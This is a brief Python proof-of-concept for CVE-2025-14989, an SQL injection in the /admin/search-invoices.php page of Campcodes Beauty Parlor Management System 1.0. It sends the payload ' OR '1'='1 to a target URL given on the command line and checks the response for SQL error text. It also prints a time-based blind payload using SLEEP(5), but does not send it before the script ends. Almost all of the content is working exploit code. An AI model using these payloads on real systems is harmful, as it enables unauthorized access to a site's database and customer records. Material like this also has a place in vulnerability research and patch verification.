CVE-2025-14989 Campcodes Beauty Parlor Management System SQL注入漏洞

import requests import sys # CVE-2025-14989 SQL Injection PoC # Target: Campcodes Complete Online Beauty Parlor Management System 1.0 # File affected: /admin/search-invoices.php target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" # Basic SQL injection test payload sql_payload = "' OR '1'='1" injection_url = f"{target_url}/admin/search-invoices.php" params = { 'search': sql_payload } print(f"[*] Testing SQL Injection on {injection_url}") print(f"[*] Payload: {sql_payload}") try: response = requests.get(injection_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent, status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'mysql' in response.text.lower(): print("[!] Potential SQL injection detected - check response") else: print("[*] No obvious SQL errors found") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Blind SQL injection test blind_payload = "' AND SLEEP(5)---" blind_params = {'search': blind_payload} print(f"\n[*] Testing blind SQL injection...") print(f"[*] Payload: {blind_payload}")